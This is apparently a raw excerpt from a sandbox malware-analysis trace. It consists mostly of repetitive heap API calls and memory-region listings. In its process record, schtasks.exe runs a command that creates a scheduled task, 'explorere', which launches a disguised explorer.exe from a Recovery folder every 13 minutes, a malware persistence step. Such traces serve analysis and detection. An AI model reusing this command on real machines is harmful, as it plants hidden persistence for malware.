GetProcessHeap () returned 0x440000 [0137.152] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1a0) returned 1 [0137.152] GetProcessHeap () returned 0x440000 [0137.152] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c1a0) returned 0x18 [0137.152] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1a0 | out: hHeap=0x440000) returned 1 [0137.153] GetProcessHeap () returned 0x440000 [0137.153] GetProcessHeap () returned 0x440000 [0137.153] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455ae0) returned 1 [0137.153] GetProcessHeap () returned 0x440000 [0137.153] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455ae0) returned 0x20 [0137.153] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ae0 | out: hHeap=0x440000) returned 1 [0137.153] GetProcessHeap () returned 0x440000 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45b9d0) returned 1 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b9d0) returned 0x2 [0137.154] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b9d0 | out: hHeap=0x440000) returned 1 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455930) returned 1 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455930) returned 0x20 [0137.154] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455930 | out: hHeap=0x440000) returned 1 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455960) returned 1 [0137.154] GetProcessHeap () returned 0x440000 [0137.154] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455960) returned 0x20 [0137.155] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455960 | out: hHeap=0x440000) returned 1 [0137.155] GetProcessHeap () returned 0x440000 [0137.155] GetProcessHeap () returned 0x440000 [0137.155] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455990) returned 1 [0137.155] GetProcessHeap () returned 0x440000 [0137.155] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455990) returned 0x20 [0137.155] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455990 | out: hHeap=0x440000) returned 1 [0137.155] GetProcessHeap () returned 0x440000 [0137.155] GetProcessHeap () returned 0x440000 [0137.155] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x4559c0) returned 1 [0137.155] GetProcessHeap () returned 0x440000 [0137.155] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4559c0) returned 0x20 [0137.156] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4559c0 | out: hHeap=0x440000) returned 1 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb40) returned 1 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cb40) returned 0x20 [0137.156] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb40 | out: hHeap=0x440000) returned 1 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d660) returned 1 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d660) returned 0xa [0137.156] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d660 | out: hHeap=0x440000) returned 1 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] GetProcessHeap () returned 0x440000 [0137.156] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb70) returned 1 [0137.157] GetProcessHeap () returned 0x440000 [0137.157] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cb70) returned 0x20 [0137.157] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb70 | out: hHeap=0x440000) returned 1 [0137.157] GetProcessHeap () returned 0x440000 [0137.157] GetProcessHeap () returned 0x440000 [0137.157] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x457a50) returned 1 [0137.157] GetProcessHeap () returned 0x440000 [0137.157] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x457a50) returned 0x30 [0137.157] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x457a50 | out: hHeap=0x440000) returned 1 [0137.157] GetProcessHeap () returned 0x440000 [0137.157] GetProcessHeap () returned 0x440000 [0137.157] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cba0) returned 1 [0137.157] GetProcessHeap () returned 0x440000 [0137.157] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cba0) returned 0x20 [0137.158] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cba0 | out: hHeap=0x440000) returned 1 [0137.158] GetProcessHeap () returned 0x440000 [0137.158] GetProcessHeap () returned 0x440000 [0137.158] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x457a90) returned 1 [0137.158] GetProcessHeap () returned 0x440000 [0137.158] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x457a90) returned 0x30 [0137.158] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x457a90 | out: hHeap=0x440000) returned 1 [0137.158] GetProcessHeap () returned 0x440000 [0137.158] GetProcessHeap () returned 0x440000 [0137.158] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd80) returned 1 [0137.158] GetProcessHeap () returned 0x440000 [0137.158] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd80) returned 0x20 [0137.158] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd80 | out: hHeap=0x440000) returned 1 [0137.158] GetProcessHeap () returned 0x440000 [0137.158] GetProcessHeap () returned 0x440000 [0137.159] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d580) returned 1 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d580) returned 0x10 [0137.159] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d580 | out: hHeap=0x440000) returned 1 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd50) returned 1 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd50) returned 0x20 [0137.159] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd50 | out: hHeap=0x440000) returned 1 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5a0) returned 1 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d5a0) returned 0x10 [0137.159] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5a0 | out: hHeap=0x440000) returned 1 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd20) returned 1 [0137.159] GetProcessHeap () returned 0x440000 [0137.159] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd20) returned 0x20 [0137.159] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd20 | out: hHeap=0x440000) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5c0) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d5c0) returned 0xe [0137.160] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5c0 | out: hHeap=0x440000) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccf0) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ccf0) returned 0x20 [0137.160] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccf0 | out: hHeap=0x440000) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5e0) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d5e0) returned 0x16 [0137.160] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5e0 | out: hHeap=0x440000) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccc0) returned 1 [0137.160] GetProcessHeap () returned 0x440000 [0137.160] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ccc0) returned 0x20 [0137.161] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccc0 | out: hHeap=0x440000) returned 1 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d600) returned 1 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d600) returned 0x16 [0137.161] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d600 | out: hHeap=0x440000) returned 1 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc90) returned 1 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc90) returned 0x20 [0137.161] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc90 | out: hHeap=0x440000) returned 1 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x479a40) returned 1 [0137.161] GetProcessHeap () returned 0x440000 [0137.161] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x479a40) returned 0x82 [0137.161] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x479a40 | out: hHeap=0x440000) returned 1 [0137.161] GetProcessHeap () returned 0x440000 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc60) returned 1 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc60) returned 0x20 [0137.162] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc60 | out: hHeap=0x440000) returned 1 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d640) returned 1 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d640) returned 0xe [0137.162] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d640 | out: hHeap=0x440000) returned 1 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc30) returned 1 [0137.162] GetProcessHeap () returned 0x440000 [0137.162] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc30) returned 0x20 [0137.163] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc30 | out: hHeap=0x440000) returned 1 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45b9f0) returned 1 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b9f0) returned 0x18 [0137.163] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b9f0 | out: hHeap=0x440000) returned 1 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x4559f0) returned 1 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4559f0) returned 0x20 [0137.163] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4559f0 | out: hHeap=0x440000) returned 1 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455a20) returned 1 [0137.163] GetProcessHeap () returned 0x440000 [0137.163] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455a20) returned 0x20 [0137.164] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455a20 | out: hHeap=0x440000) returned 1 [0137.164] GetProcessHeap () returned 0x440000 [0137.164] GetProcessHeap () returned 0x440000 [0137.164] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455a50) returned 1 [0137.164] GetProcessHeap () returned 0x440000 [0137.164] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455a50) returned 0x20 [0137.164] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455a50 | out: hHeap=0x440000) returned 1 [0137.164] GetProcessHeap () returned 0x440000 [0137.164] GetProcessHeap () returned 0x440000 [0137.164] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455a80) returned 1 [0137.164] GetProcessHeap () returned 0x440000 [0137.164] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455a80) returned 0x20 [0137.164] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455a80 | out: hHeap=0x440000) returned 1 [0137.164] GetProcessHeap () returned 0x440000 [0137.164] GetProcessHeap () returned 0x440000 [0137.165] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba10) returned 1 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba10) returned 0x18 [0137.165] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba10 | out: hHeap=0x440000) returned 1 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455ab0) returned 1 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455ab0) returned 0x20 [0137.165] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ab0 | out: hHeap=0x440000) returned 1 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455b40) returned 1 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455b40) returned 0x20 [0137.165] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455b40 | out: hHeap=0x440000) returned 1 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455ba0) returned 1 [0137.165] GetProcessHeap () returned 0x440000 [0137.165] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455ba0) returned 0x20 [0137.166] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ba0 | out: hHeap=0x440000) returned 1 [0137.166] GetProcessHeap () returned 0x440000 [0137.166] GetProcessHeap () returned 0x440000 [0137.166] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455c00) returned 1 [0137.166] GetProcessHeap () returned 0x440000 [0137.166] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455c00) returned 0x20 [0137.166] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c00 | out: hHeap=0x440000) returned 1 [0137.166] GetProcessHeap () returned 0x440000 [0137.166] GetProcessHeap () returned 0x440000 [0137.166] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455c30) returned 1 [0137.166] GetProcessHeap () returned 0x440000 [0137.166] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455c30) returned 0x20 [0137.166] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c30 | out: hHeap=0x440000) returned 1 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba30) returned 1 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba30) returned 0x18 [0137.167] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba30 | out: hHeap=0x440000) returned 1 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455b70) returned 1 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455b70) returned 0x20 [0137.167] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455b70 | out: hHeap=0x440000) returned 1 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45b9b0) returned 1 [0137.167] GetProcessHeap () returned 0x440000 [0137.167] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b9b0) returned 0x18 [0137.167] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b9b0 | out: hHeap=0x440000) returned 1 [0137.167] exit (_Code=0) Thread: id = 130 os_tid = 0xf58 Process: id = "23" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x427ad000" os_pid = "0xf5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 13 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2487 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2488 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2489 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2490 start_va = 0x180000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2491 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2492 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2493 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2494 start_va = 0xffeb0000 end_va = 0xffef7fff monitored = 1 entry_point = 0xffed966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2495 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2496 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2497 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2498 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2499 start_va = 0x200000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2500 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2501 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2502 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2503 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2504 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2505 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2506 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2507 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2508 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2509 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2510 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2511 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2512 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2513 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2514 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2515 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2516 start_va = 0x350000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2517 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2518 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 2519 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2520 start_va = 0x470000 end_va = 0x5f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2521 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2522 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2523 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2524 start_va = 0x600000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2525 start_va = 0x790000 end_va = 0x1b8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 2526 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2527 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2528 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2529 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 